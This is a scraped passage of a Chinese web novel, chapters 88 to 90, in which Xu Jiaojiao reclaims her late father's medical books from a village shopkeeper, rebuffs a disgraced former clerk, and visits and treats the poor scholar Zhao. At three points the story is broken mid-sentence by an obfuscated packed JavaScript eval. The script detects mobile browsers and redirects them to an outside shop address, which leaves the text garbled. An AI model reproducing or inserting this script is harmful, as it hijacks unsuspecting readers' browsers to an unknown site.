许娇娇下了车，站在铺子门口往里看。铺子里头光线昏暗，货架上摆着些油盐酱醋、针头线脑之类的东西。柜台后头坐着一个三十来岁的妇人，脸圆圆的，眉眼间带着几分精明相，正磕着瓜子，百无聊赖地往外瞅。 一见门口停了大马车，那妇人眼睛一亮，蹭地站起来，脸上堆起笑，迎了出来。 “几位客官，想买点什么？咱这铺子东西全，价钱公道……” 她话没说完，眼睛就落在了许娇娇身上。那身藕荷色的衣裙，那料子，那做工，一看就不是普通人穿得起的。妇人的笑更深了，腰也弯了几分。 “这位娘子，您想买点什么？进来看，进来看。” 许娇娇没有动，只是看着她，淡淡道：“我找张东家。” 妇人愣了一下，随即笑道：“我就是张家的，娘子找我当家的？他这会儿在后头收拾货呢，您稍等，我这就叫他。” 她转身朝后头喊：“当家的！当家的！前头来客了，找你的！” 后头传来一阵窸窸窣窣的响动，接着一个男人的声音响起：“谁啊？” 一个男人掀开帘子从后头出来。三十来岁，中等个头，尖嘴猴腮，一双眼睛滴溜溜地转，一看就是个精明人。他一边往外走一边系着腰带，嘴里还嘟囔着：“啥事儿啊，正忙着呢……” 他一抬头，看见门口站着的许娇娇，还有她身后那辆大马车和几个骑马的汉子，脚步顿了一下，脸上的表情从疑惑变成了堆笑。 “这位娘子，您找我？在下姓张，是这小铺子的东家。您有啥事儿？” 许娇娇看着他，微微笑了笑。 “张东家不认识我了？” 张癞子一愣，仔细打量许娇娇。这娘子生得眉清目秀，皮肤白皙，气度不凡，一看就是大户人家的小娘子。可他想了半天，也想不起来在哪儿见过。 “这……恕小人眼拙，娘子您是……” 许娇娇没有答话，抬脚进了铺子。她四下看了看，货架上摆的东西普普通通，没什么特别。她收回目光，看向张癞子。 “我姓许，叫许娇杏。” 张癞子脸色一变。 他身后的妇人也是一愣，随即脸上的笑就僵住了。 “许……许娇杏？”张癞子干笑两声，“这……这名字听着耳熟，可小人是真不记得在哪儿……” “落溪村，”许娇娇打断他，“我阿爹叫许大郎，我阿娘姓柳。七岁那年，我阿爹阿娘没了，村里的房子，分给了你家。” 张癞子的脸色彻底变了。 他张了张嘴，想说什么，却什么都说不出来。他身后的妇人却一下子跳了起来，嗓门高得能掀翻屋顶。 “啥？你就是那个哑巴丫头？你、你来干啥？那房子是我们家分到的，都住了七八年了，你想咋的？” 许娇娇看了她一眼，那妇人被她那平静的目光一看，不知怎的，心里有些发毛，嗓门也低了下去。 “我没想咋的，”许娇娇淡淡道，“我只是想来拿回几样东西。” “啥东西？”张癞子警惕地看着她。 “我阿爹的医书，还有我阿娘的一些旧物。” 张癞子愣了一下，随即皱起眉头：“医书？旧物？那房子里啥都没有，当年分房子的时候，里头就是空的。你家的东西，谁知道去哪儿了？” 许娇娇看着他，目光依旧平静，却让张癞子莫名有些心虚。 “空的？”她轻轻重复了一遍。 “对啊，空的。”张癞子梗着脖子，“你要是不信，你自己去看。那房子我们也不住，就那么空着，你想咋看就咋看。” 他身后的妇人扯了扯他的袖子，小声道：“当家的，你……” 张癞子甩开她的手，继续道：“许娘子，不是我说你，那房子都分了七八年了，你这时候才来要东西，早干啥去了？再说了，当初分房子是村里耆老定的，你找我们也没用。你要是有意见，找耆老去。” 许娇娇没有说话，只是看着他。 张癞子被她看得越来越心虚，却强撑着道：“咋的？你还想抢回去不成？我告诉你，这可是镇上，有官差的，你……” “我不抢。”许娇娇打断他，从袖中取出一样东西，放在柜台上。 那是一锭银子，五两重。 张癞子眼睛一下子直了。 “这是五两银子，”许娇娇道，“买你一个准话。我家的东西，到底在不在那房子里？” 张癞子盯着那锭银子，咽了口唾沫。他身后的妇人眼睛也直了，扯他袖子的手劲更大了。 “当家的……” 张癞子咬了咬牙，一把抓起那锭银子，揣进怀里。 “在在在，”他连声道，“当年分房子的时候，屋里是有几箱子东西。那些衣物早就没了，还有些书籍，我们也不识字，一直不知如何处理，就堆在后头柴房里，这些年也没动过。许娘子您要是想要，这就去拿，这就去拿。” 他身后的妇人急了：“当家的，你……” 张癞子瞪她一眼：“闭嘴！” 许娇娇看着他那副嘴脸，心里冷笑一声，面上却不动声色。 “那就劳烦张东家带个路。” 张癞子连连点头：“行行行，我这就带您去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399558|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。娘子您稍等，我拿个钥匙。” 他转身进了后头，那妇人狠狠瞪了许娇娇一眼，也跟了进去。 静尘走到许娇娇身边，低声道：“娇杏，这人……” 许娇娇轻轻摇头，示意她不必多说。 不多时，张癞子拿着钥匙出来，点头哈腰道：“许娘子，咱们这就走？” 许娇娇点点头，转身出了铺子。 张癞子跟着出来，看见门口那辆大马车和那几个骑马的汉子，眼珠子转了转，凑上来道：“许娘子，这几位是……” “我的护卫，”许娇娇淡淡道，“张东家有意见？” “没有没有，”张癞子连忙摆手，“娘子您请，您请。” 马车往落溪村而去。张癞子坐在车辕上，心里七上八下。他揣着那五两银子，既觉得赚了，又隐隐有些不安。这许娘子，当年那个又聋又哑的丫头，如今怎么变成这样了？不但能说话了，还穿金戴银的，还带着护卫，这到底是咋回事？ 他忍不住回头往车厢里看了一眼，帘子遮得严严实实，什么都看不见。 到了落溪村，马车在许家老屋门口停下。 许娇娇下了车，站在那扇破旧的木门前。 房子还是记忆里的模样。土坯墙，茅草顶，院子里的那棵枣树还在，只是枯死了半边。院墙塌了好几处，用树枝胡乱扎着。门上挂着一把生锈的铁锁，锁眼里塞着半截木棍。 张癞子拿着钥匙上前，捅咕了半天，才把锁打开。他推开门，回头笑道：“许娘子，您请。” 许娇娇抬脚跨进门槛。 屋里黑洞洞的，一股霉味扑鼻而来。她站了一会儿，眼睛才适应了里面的光线。 堂屋里的桌椅早就没了，空空荡荡的，地上积了厚厚一层灰。墙上的泥皮大片大片剥落，露出里面的土坯。屋顶有几个破洞，能看见外面的天光。 许娇娇慢慢往里走。 这是她阿爹阿娘生活过的地方。虽然她没有亲身经历过，但原主的记忆还在。她记得阿娘坐在这堂屋里纳鞋底，记得阿爹在院子里劈柴，记得自己坐在门槛上晒太阳。 那些记忆模糊又遥远，却让她心里一阵酸涩。 “东西在哪儿？”她问。 张癞子忙道：“在后头柴房里，娘子您跟我来。” 他领着许娇娇穿过堂屋，从后门出去，来到一个小院子里。院子角落里堆着些柴火，还有一间低矮的棚子，那就是柴房。 张癞子推开柴房的门，一股更浓烈的霉味冲出来。他捂着鼻子往里一指：“就在那儿，那两个箱子。” 许娇娇往里一看，墙角果然堆着两只箱子。箱子上落满了灰，有些地方还长了霉斑。她走过去，蹲下身子，轻轻拂去箱盖上的灰。 箱盖上的锁看起来已经锈迹斑斑，锁扣的位置有被破坏的痕迹，看来之前他们使用蛮力打开过箱子。 许娇娇回头看了张癩子一眼，张癩子一脸讪笑，嘴里嘟囔，“书还在，书还在。” 许娇娇站起身，回头看向长风。 长风会意，上前一步，握住那把锈迹斑斑锁，用力一拧。锁“咔哒”一声断了。 许娇娇打开箱盖。 里头果然是一堆书籍，只是横七竖八的躺在里面，最上面那本书的封面已经发黄，但字迹还能看清，《黄帝内经》。 许娇娇的眼眶一下子热了。 她拿起那本书，轻轻翻开。扉页上有一行字，是用毛笔写的，字迹工整有力：“医者仁心，济世为怀。怀瑾自勉。” 怀瑾？这难道是许大郎的名字？ 许怀瑾，好名字。许娇娇心中暗忖。 她把书贴在胸口，闭上眼睛，深深吸了口气。 “阿爹，阿娘，女儿来接二老回家了。” 长风和其他人没有打扰她，静静地站在一旁。 过了好一会儿，许娇娇才睁开眼睛，把书轻轻放回箱子里。 “这些书，还有这两个箱子，”她看向张癞子，“我都要带走。” 张癞子连连点头：“行行行，娘子您尽管拿，尽管拿。” 许娇娇没有理他，只是低头看着那两个箱子。 长风招呼几个护卫上前，把箱子抬上马车。箱子一共两只。护卫们轻手轻脚，生怕磕着碰着。 许娇娇最后看了一眼这间破旧的柴房，转身往外走。 走到院门口，她停下脚步，回头看着那栋土坯房。 夕阳西下，橘红色的光落在破旧的屋顶上，给那颓败的景象添了几分暖意。 “阿爹，阿娘，”她在心里默默道，“我带你们走。往后，再也不会让你们孤零零留在这里了。” 她转身，上了马车。 马车缓缓启动，车轮碾过村中的土路，发出辚辚的声响。有人从屋里探出头来看，有人站在路边指指点点，许娇娇都没有理会。 她只是抱着那本《黄帝内经》，闭着眼睛，靠在车壁上。 静尘轻轻握住她的手，没有说话。 静心也不闹了，乖乖坐在一旁，时不时看许娇娇一眼。 马车在李婆子家门口停下。 许娇娇下了车，李婆子已经在门口等着了。看见她怀里抱着书，眼睛红红的，李婆子什么也没问，只是上前握住她的手，轻轻拍了拍。 “回来了就好，回来了就好。” 许娇娇点点头，跟着李婆子进了屋。 又吩咐长风让人把箱子就放在车上，不用拿下来了。 “你阿爹的医书都在吗？”李婆子轻声问。 许娇娇摇了摇头，“就剩两口箱子了，其余都没了。”许娇娇深深叹了口气，“幸好留了两只箱子，张癩子说他们都不认字，本来打算烧了的，后来要搬家去镇上，到将这事给忘了，就一直放在房里。” 李婆子叹了口气：“也不知你阿娘的物件还在不。记得你阿娘活着的时候，最爱穿那些衣裳。有一回我见她穿过一件藕荷色的，好看得很，就跟仙女似的。” 许娇娇低头看着箱子，没有说话。 李婆子拍拍她的手：“好了，东西能寻回来一些，也算运气好，往后就好生收着。你阿爹阿娘要是地下有知，也该放心了。” 许娇娇抬起头，看着李婆子，轻声道：“我知道阿婆，我只想要个念想。有我阿爹阿娘的东西在身边，我心中安定许多。再说了，我阿爹是从医的，往后我多学习阿爹的医术，和阿爹一样做个好郎中。” 李婆子听了，眼眶一下子湿了。她连连点头：“好好好，你阿爹要是知道，不知道多高兴。他生前最疼你，可惜……可惜……” 她说不下去了，只是紧紧握着许娇娇的手。 许娇娇轻轻靠在她肩上，没有说话。 窗外，夜幕慢慢降临，村子里传来几声狗吠，远处山影朦胧，一切都在暮色中渐渐安静下来。 89. 第89章 张三郎 翌日清晨，许娇娇是被一阵鸡鸣声唤醒的。 山里天亮得晚，窗外还是灰蒙蒙的，那一声声鸡鸣却格外嘹亮，穿透薄雾，在村子里回荡。她躺在李婆家那张硬邦邦的木板床上，身下垫着厚厚的稻草，盖着洗得发白的粗布棉被，被子里有一股阳光的味道。那是李婆子昨儿特意抱出去晒过的。 静尘和静心还睡着。静心的呼吸声有些重，嗓子还没好全，偶尔咳嗽两声。静尘侧躺着，一只手轻轻搭在静心身上，像是在睡梦中也护着她。 许娇娇没有动，只是睁着眼，看着头顶那根乌黑的房梁。房梁上挂着几串干辣椒，还有一捆干艾草，是端午时剩下的，已经落了一层薄灰。 她想起昨夜的梦。 梦里，有一位美丽温婉的夫人，穿着件藕荷色的衣裙，坐在院子里的香樟树下纳鞋底。阳光从树叶的缝隙里漏下来，斑驳地落在她身上。她抬起头，朝自己笑，喊她：“杏儿，过来，让阿娘看看你。” 她走过去，走近了，阿娘却不见了。只有那棵香樟树还在，叶子在风里沙沙响。 然后她就醒了。 许娇娇轻轻吸了口气，把那股涌上来的酸涩压回去。 外头传来李婆子的声音，压得很低，像是在跟谁说话。 “……还没醒呢，昨儿累了一天，让她们多睡会儿。你俩这么早来干啥？” 另一个声音响起，是个男人的，有些耳熟：“阿姐，我们就是来看看娇杏那丫头。昨儿听人说她回来了，还去了镇上，我心里头就一直惦记着。这不，天一亮就拉上金桂过来了。” 原来是二根叔和金桂婶子来了。 许娇娇一下子清醒过来。 她轻轻起身，披上外衣，轻手轻脚地绕过静尘静心，推开房门。 堂屋里，李婆子正站在门口，跟两个人说话。一个是四十来岁的汉子，皮肤黝黑，身材壮实，穿着半旧的短褐，手里提着一只绑了脚的母鸡。另一个是三十多岁的妇人，圆脸盘，眉眼温顺，手里挎着一个竹篮，篮子上盖着一块蓝布。 果然是他们夫妻。 许娇娇一出来，三个人同时转过头来。 金桂看见她，眼睛一下子亮了，往前走了两步，又有些踌躇地停下。她的目光落在许娇娇脸上，上上下下打量着，嘴唇动了动，却一时没说出话来。 许娇娇快步走上前，朝孙二根和金桂敛衽一礼：“二根叔，金桂婶。” 金桂的眼眶一下子就红了。 她一把抓住许娇娇的手，紧紧握着，声音有些抖：“娇杏……好孩子，好孩子……恁久不见你，长这么好了……” 她说着，眼泪就下来了。 许娇娇忙道：“二婶，您别哭，快进屋坐。” 李婆子也在一旁道：“对对对，进屋说话，外头冷。” 一行人进了堂屋。金桂拉着许娇娇不肯撒手，一直盯着她看，看不够似的。孙二根把那只母鸡放在门边，又把金桂手里的篮子接过来，放在桌上。 “娇杏丫头，”孙二根挠了挠头，有些不好意思，“我跟你婶没啥好东西，就带了几只鸡蛋，一篮子青菜，都是自家种的养的，你别嫌弃。” 许娇娇看着那篮子，鸡蛋一个个擦得干干净净，码得整整齐齐；青菜择得干干净净，水灵灵的，还带着露水。她心里一暖，轻声道：“二根叔说哪里话，这些东西比什么都金贵。劳金桂婶费心。” 金桂抹了抹眼泪，拉着许娇娇坐下。 “娇杏啊，”她看着许娇娇，眼里满是感激，“我这条腿，要不是你，早就废了。那年你托人带回来的药方子和药材，我照着用了，用了几个月，竟真的好了！” 她说着，站起身，在许娇娇面前走了几步，又蹲下站起，动作利索得很。 “你看，如今跑跑跳跳的，啥事没有！去年秋收，我还下地割了两天稻子呢！” 许娇娇看着她，心里也替她高兴。当年她还在水月庵后山的时候，李婆子来看她，说起金桂婶子的腿，说是年轻时候落下的毛病，一到阴雨天就疼得下不了床，吃了多少药都不管用。她便凭着记忆写了个方子，又配了些药材，托李婆子带回来。 那时候她也没把握，毕竟没有亲自诊过脉，只是根据李婆子的描述推断的。后来又亲自看了一趟，写了个方子，之后就离开了，在后来她托人又带了个方子和药材，如今看来，那方子果然管用。 “金桂婶好了就好，”她笑道，“也是金桂婶自己有福气。” “啥福气，”金桂连连摆手，“都是托你的福！你一个小丫头，竟比那些老郎中还有本事。我听人说你在菰城做了女医，还在疫病中立了大功，连钦差天使都夸你？了不得了不得！” 许娇娇淡淡一笑：“不过是尽本分罢了。” 孙二根在一旁搓着手，憨厚地笑着。他看看许娇娇，又看看李婆子，忽然想起什么，道：“对了娇杏，昨儿我去镇上，碰见张三郎了。” 许娇娇微微一怔：“张三郎？” “就是耆老他们那房的。”孙二根道，“他不是在县衙做事嘛，如今回来了，赋闲在家。” 李婆子皱起眉头：“咋回事？不是做得好好的？” 孙二根叹了口气，压低了声音：“还不是这回王大户的案子闹的。听说县衙里那些当官的，好些都受了牵连。知县老爷被罢了官，县丞、主簿也都撸了，底下那些小吏，但凡跟王大户有过往来的，都没落着好。张三郎虽说只是个押司手下跑腿的，可架不住他从前替王大户跑过腿啊，这回也一并被捋了。” 许娇娇听着，面上不动声色，心里却暗暗称快。 那张三郎，她可没忘。 当年她还是个孤女的时候，村里那些孩子追着她打，往她身上扔土坷垃，骂她是“哑巴”“克星”，张三郎就是领头的那几个之一。他比娇杏大好几岁，下手最狠。有一回，他用弹弓打她，石子儿擦着她耳朵飞过去，差点打中眼睛。她吓得躲在家里不敢出门，他在外头跟一群孩子拍着手笑。 后来她离开落溪村，再也没见过他。 如今他被罢了官，倒真是因果报应。 金桂在一旁小声道：“我听说，张三郎昨儿就回村了，今儿一早就往这边来了。娇杏，他要是来找你……” 话音未落，外头忽然传来一阵脚步声，接着传来了敲门声：“李婆！李婆在家不？” 李婆子脸色一变，看了许娇娇一眼。 许娇娇微微点头，示意她无妨。 李婆子这才站起身，迎了出去。 堂屋的门开着，许娇娇能看见外头的动静。院门口站着一个二十来岁的年轻人，穿着半旧的青布袍子，面容消瘦，眉眼间带着几分精明相，正是张三郎。 他一看见李婆子，脸上就堆起笑：“李婆，听说许大郎家的娇杏回来了，特地来看看。娇杏在不在？” 李婆子还没说话，张三郎已经绕过她，往堂屋里张望。一眼看见许娇娇坐在里头，他眼睛一亮，几步就跨了进来。 “娇杏妹妹！”他满脸堆笑，拱手作揖，“好久不见，好久不见！昨儿听人说你回来了，我还不信，今儿一见，果然是妹妹！几年不见，妹妹出落得这般好了，真是……真是……” 他上下打量着许娇娇，眼里闪过几分复杂的神色。没想到，原先那个哑巴竟然出落的如此出挑。比县城里朱四郎茶馆里最红的钱二姐都俊。不，钱二姐算什么，当真是不能比。他眼中不由露出一丝惊讶和羡慕，还有一丝难以掩饰的谄媚。 许娇娇端坐着，没有起身，只是淡淡看了他一眼。 “张三哥。”她的声音平静无波。 张三郎脸上的笑容僵了一瞬，随即又热络起来。他也不等让，自己就在旁边的凳子上坐了，往前探着身子，一副亲近模样。 “娇杏妹妹，这些年你在菰城的事，我都听说了。了不得，了不得！又是做女医，又是救疫病，连钦差都赏识你！咱们落溪村这么多年，可没出过你这样有出息的人物！” 许娇娇没有说话，只是看着他。 张三郎被她看得有些不自在，干笑了两声，又道：“妹妹如今发达了，可别忘了咱们这些老乡亲。当年咱们可是一块儿长大的，虽说小时候不懂事，闹着玩儿过几次，可那也是小孩子不懂事，妹妹大人大量，不会往心里去吧？” 许娇娇端起桌上的粗陶碗，慢慢喝了一口水，才道：“张三哥今日来，就是叙旧的？” 张三郎愣了一下，讪讪道：“也……也不全是。那个，我听说妹妹跟那位钦差身边的人有些交情？还有菰城那些大人物，妹妹也都认得？” 许娇娇放下碗，抬眼看他。 张三郎被她这一眼看得心里发毛，却还是硬着头皮道：“妹妹也知道，我原先在县衙做事，虽说官职不大，可好歹也是吃公家饭的。这回受了牵连，被罢了职，实在是冤枉。我就是替王大户跑过几回腿，收过几回东西，那些见不得人的事，我是一概不知啊！如今赋闲在家，一家老小都指着我养活，实在是……实在是走投无路了。” 他说着，做出一副可怜相，眼睛却偷偷觑着许娇娇的表情。 “妹妹如今人面广，能不能……能不能帮我在上头递句话？哪怕给我找个差事，县衙里不行，别的地方也成。妹妹的大恩大德，我张三郎一辈子记着！” 他说完，眼巴巴地看着许娇娇。 堂屋里一时安静下来。 孙二根和金桂对视一眼，都没说话。李婆子站在门口，脸色有些不好看。 许娇娇看着张三郎，忽然笑了一下。 那笑容很淡，却让张三郎心里咯噔一声。 “张三哥，”许娇娇的声音不紧不慢，“你方才说，小时候那些事，是小孩子不懂事，让我别往心里去？” 张三郎连忙点头：“对对对，小孩子不懂事，妹妹别……” “可我往心里去了。” 许娇娇打断他，声音依旧平静，目光却冷了下来。 “那年我七岁，我阿爹阿娘刚走，我一个人躲在屋里不敢出门。你带着一群孩子，在我家门口拍着手笑，拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当年她还在水月庵后山的时候，水仙姑被官府收押，就是这位赵秀才出的面。虽说后来水仙姑被王大官人找关系疏通了出来，但那份恩情，许娇娇一直记得。 后来她离开水月庵，辗转去了菰城，偶尔托人带信给李婆子，也问起过赵秀才的事。李婆子回信说，赵秀才被水仙姑使了人打了一顿，伤得不轻，养了大半年才好。 “赵先生如今怎样？”许娇娇问。 李婆子叹了口气：“还是那样，一个人住在村东头那间老屋里。他那人你也知道，性子孤僻，不爱跟人来往，也不种地，也不做买卖，就靠着给人写写信、写写对联挣几个铜板，勉强度日。前些年还能教几个蒙童，如今村里孩子都去镇上念书了，他也就闲下来了。” 许娇娇听着，心里有些不是滋味。 “他那伤，可好全了？” “好是好全了，”李婆子道，“可到底是挨了打，身子骨不如从前了。前年冬天大病一场，险些没熬过去。我去看过他几回，瘦得只剩一把骨头。这两年好些了，可也干不了重活，就那样将就着过。” 金桂在一旁小声道：“我听人说，王寡妇常去看他，给他送吃的送穿的，还帮他洗衣裳。可赵秀才那人迂得很，不肯受她的好，总往外推。” 许娇娇挑了挑眉：“王寡妇？” “就是村西头王家的那个，”李婆子道，“你该有些印象，她男人走得早，撇下她带着两个孩子，大的今年该有十五六了，小的十一二岁。那女人也是个命苦的，可心肠好，人也勤快，一个人拉扯两个孩子，愣是没让人戳脊梁骨。” 金桂接道：“可不就是嘛！她对赵秀才那个心思，村里人都看得出来。前两年还有人撮合来着，可赵秀才死活不肯，说什么‘寡妇门前是非多’‘自己是个穷酸秀才，配不上人家’，把人气得够呛。” 许娇娇听着，嘴角微微弯了起来。 “他那是替人家着想，”她轻声道，“怕自己拖累了她。” 李婆子叹了口气：“可不是嘛！赵秀才那人，是个真君子。可这世道，君子往往没好报。” 许娇娇没有说话，只是垂着眼，不知在想什么。 静尘在一旁轻声道：“那位王寡妇，是个什么样的人？” 金桂想了想，道：“是个实诚人。长得也算周正，虽说不年轻了，可收拾得干干净净的。两个娃娃也教得好，大的那个还在镇上铁匠铺跟着老邢头打铁呢，听说手艺学的不错。那农具打的像模像样。” 许娇娇抬起头，看向李婆子：“阿婆，我想去看看赵先生。” 李婆子愣了一下，随即点点头：“应该的应该的。当年要不是他，水仙姑那案子也闹不起来。虽说后来那水仙姑又出来了，可那份心，是难得的。” 她站起身：“走，阿婆带你去。” 90. 第90章 正直的赵秀才 许娇娇也站起来，对孙二根和金桂道：“二根叔，婶子，你们先坐，我去去就回。” 金桂忙道：“去吧去吧，正事要紧。我们就在这儿等着，中午给你们做饭吃。” 许娇娇笑了笑，跟着李婆子出了门。 赵秀才的家在村东头，离李婆子家不远。沿着村中的土路走上一炷香的工夫，就到了。 那是三间低矮的土坯房，比李婆子家还要破旧些。院墙是用石头垒的，好多处已经塌了，用荆棘胡乱堵着。院子里长满了枯草，一条小径从院门口通到屋门前，是被踩出来的，光秃秃的。 李婆子在院门口停下，朝里喊了一声：“赵先生！在家不？” 过了一会儿，屋门开了。 一个瘦削的身影出现在门口。 那是个三十七八岁的男子，穿着一件洗得发白的青布长衫，浆洗得干干净净，却已经磨得有些透明了。他生得清瘦，面容苍白，下颌蓄着几缕长须，一双眼睛却格外清亮，透着一股书卷气。 他看见李婆子，微微怔了怔，又看见李婆子身后的许娇娇，目光里闪过一丝疑惑。 “李婶，”他的声音有些沙哑，“这位是……” 李婆子笑道：“赵先生，你不认得她了？这是许大郎家的娇杏啊！” 赵秀才愣住了。 他仔细打量着许娇娇，看了好一会儿，才慢慢露出恍然的神色。 “是……是娇杏？” 许娇娇上前一步，郑重地敛衽一礼。 “赵先生安好。多年不见，先生可好？” 赵秀才连忙摆手：“使不得使不得，快请进，快请进。” 他把两人让进屋里。 屋里比外头看起来还要简陋。堂屋里只有一张歪腿的方桌，两条长凳，墙角堆着些书，用草绳捆着。墙上贴着一幅字，纸张已经泛黄发脆，上头写着八个端正的楷书—— “但行好事，莫问前程。” 没有装裱，只是用浆糊直接贴在土墙上，边角已经起了翘。可那字迹工整有力，一笔一划都透着认真，看得出写字的人是个方正之人。 许娇娇看着那幅字，心里微微一动。 赵秀才见她在看那幅字，淡淡一笑，道：“前些年病得重，躺在床上起不来，想着自己这一辈子，也没攒下什么，就写了这几个字，给自己提个醒。字丑，让娇杏见笑了。” 许娇娇摇摇头：“先生谦虚了，这字写得极好。这话也极好。” 李婆子在一旁插不上话，只是四下打量着屋子，嘴里念叨着：“赵先生这屋子，比上回来又破了些。那墙角都漏风了，冬天可咋过……” 赵秀才也不在意，只是招呼她们坐下，又张罗着要去倒水。许娇娇忙拦住他，说只是来看看先生，说说话就走，不必忙活。 赵秀才这才坐下，看着许娇娇，眼里带着几分感慨。 “娇杏……我听说你的事了，”他轻声道，“你在菰城做了女医，救了很多人。好，好，你阿爹阿娘要是知道，不知多高兴。” 许娇娇微微低下头：“先生过奖了。当年要不是先生出面，水仙姑也不会被官府收押。虽说后来……可先生的大恩，娇杏一直记在心里。” 赵秀才摆摆手：“那不算什么。那水仙姑为恶多端，我只是做了该做的事。只可惜，后来……” 他说着，叹了口气。 许娇娇看着他，轻声道：“我听说，水仙姑出狱后，曾使人对先生不利。先生的伤，可好全了？” 赵秀才微微一怔，随即苦笑了一下。 “都是过去的事了，不提也罢。” 李婆子在一旁道：“赵先生，你这个人就是太要强。受了那么大的罪，也不肯吭一声。要不是村里人说起，谁都不知道你挨了打。” 赵秀才摇摇头：“不说那些了。娇杏今日能来看我，我很高兴。你们……坐，坐。” 他说着，忽然咳嗽起来，咳了好一会儿才止住。 许娇娇看着他苍白的脸色，心里有些担忧。她想了想，轻声道：“先生，娇杏如今略通医术，若先生不嫌弃，让娇杏给先生把个脉可好？” 赵秀才愣了一下，随即摆摆手：“不必不必，我没事，就是老毛病了……” “先生，”许娇娇打断他，声音温和却坚定，“让娇杏看看，就当是让娇杏还先生一份人情。” 赵秀才看着她那双清亮的眼睛。见不好推辞，只好点了点头。 “有劳。” 许娇娇起身，走到他身边，轻轻按上他的手腕。 屋里安静下来。 李婆子在一旁看着，不敢出声。 过了好一会儿，许娇娇松开手，眉头微微蹙起。 “先生这咳嗽，不是一日两日了，”她轻声道，“脉象虚浮，肺气不足，脾胃也弱。先生这些年，怕是没好好调养过。” 赵秀才苦笑了一下，没有说话。 许娇娇看着他，心里有些发堵。 这个人是真的君子。他帮了别人，自己却落到这般境地。 可她什么都做不了，除了…… “先生，”她轻声道，“娇杏有个不情之请。” 赵秀才看向她：“你说。” “先生方才说，当年告状，是做了该做的事。可先生知道吗，若不是先生那回告状，水仙姑后来未必会被绳之以法。虽说中间有些波折，可善恶到头终有报，先生的义举，是种了善因的。” 赵秀才怔了怔，没有说话。 许娇娇继续道：“娇杏如今在菰城行医，虽说不上多富裕，可也攒了些积蓄。先生若是不嫌弃，娇杏想给先生留些银钱，让先生好好调养身子。” 赵秀才脸色一变，正要开口，许娇娇已经抢先道：“先生先别忙着推辞。娇杏知道先生是君子，不肯受嗟来之食。可先生也想想，先生身子好了，才能继续做想做的事。先生那一肚子学问，总不能就这么荒废了。” 赵秀才张了张嘴，却什么都说不出来。 李婆子在一旁道：“赵先生，娇杏这孩子是真心实意的，你就收下吧。她如今有出息了，帮帮当年帮过她的人，也是应该的。” 赵秀才沉默了很久。 终于，他轻轻叹了口气，朝许娇娇拱了拱手。 “那……我就愧领了。” 许娇娇笑了，从袖中取出一张银票，放在桌上。 “先生先用着，若是不够，托人带个信给娇杏。娇杏在菰城柳枝巷，一问便知。” 赵秀才看着那张银票，眼眶微微有些泛红。他没有再推辞，只是轻轻点了点头。 许娇娇站起身，准备告辞。走到门口，她忽然回过头。 “先生，”她轻声道，“娇杏听阿婆说，王婶子常来看先生。” 赵秀才愣了一下，随即低下头去，没有说话。 许娇娇看着他，心里暗暗叹了口气。 “先生是个好人，王婶子也是个好人。娇杏斗胆说一句，这世上，能遇到一个真心待自己的人不容易。先生若是心里有她，就别再往外推了。” 赵秀才抬起头，看着她，目光里有些复杂。 许娇娇微微一笑，没有再说什么，转身出了门。 回李婆子家的路上，李婆子小声道：“娇杏，你说赵秀才跟王寡妇那事，能成不？” 许娇娇想了想，道：“只要赵秀才自己想通，就能成。王婶子那边，怕是一直等着呢。” 李婆子叹了口气：“也是。那王寡妇也是个痴心的，守了这么些年，也不容易。” 许娇娇没有说话，只是望着远处渐渐落下的太阳。 这世间，好人总该有好报的。 她想着，嘴角微微弯了起来。 回到李婆子家，孙二根和金桂已经张罗着做起饭来。厨房里飘出饭菜的香味，静心不知什么时候起来了，正蹲在院子里逗那只黄狗玩，笑得咯咯的。 静尘站在院门口，看见许娇娇回来，脸上露出浅浅的笑。 “回来了？” 许娇娇点点头，走过去，跟她一起站在院门口。 “师姐，”她轻声道，“我想好了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403684|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 静尘看向她：“想好什么？” “赵秀才的事，我帮不了太多，只能留些银钱。王婶子那边，若是他们真能成，我想着，日后给他们添一份贺礼。” 静尘微微一笑：“你想得很周全。” 许娇娇摇摇头：“不是我周全，是他们值得。” 远处，夕阳渐渐沉入山后，天边的云被染成橘红色。村子里的炊烟袅袅升起，鸡鸣狗吠声此起彼伏，一切都那么平常，又那么温暖。 许娇娇深吸一口气，觉得心里那些沉甸甸的东西，好像轻了一些。 “师姐，”她忽然道，“我想在这边多待几天。” 静尘看着她，没有说话。 许娇娇轻声道：“阿爹阿娘的坟，我想重新修一修，多给他们烧些纸钱。” 也算不负他们养育一场。 静尘点点头：“好，那就多待几天。” 许娇娇转头看她，笑了。 “师姐，你真好。” 静尘被她这一笑弄得有些不好意思，垂下眼，轻声道：“说什么傻话。” 院子里，静心和长风正在说话，李婆子家的大黄狗正满院子追着一只鸡跑。李婆子从厨房里探出头来，呵斥了了一声，便又缩回头去忙乎。 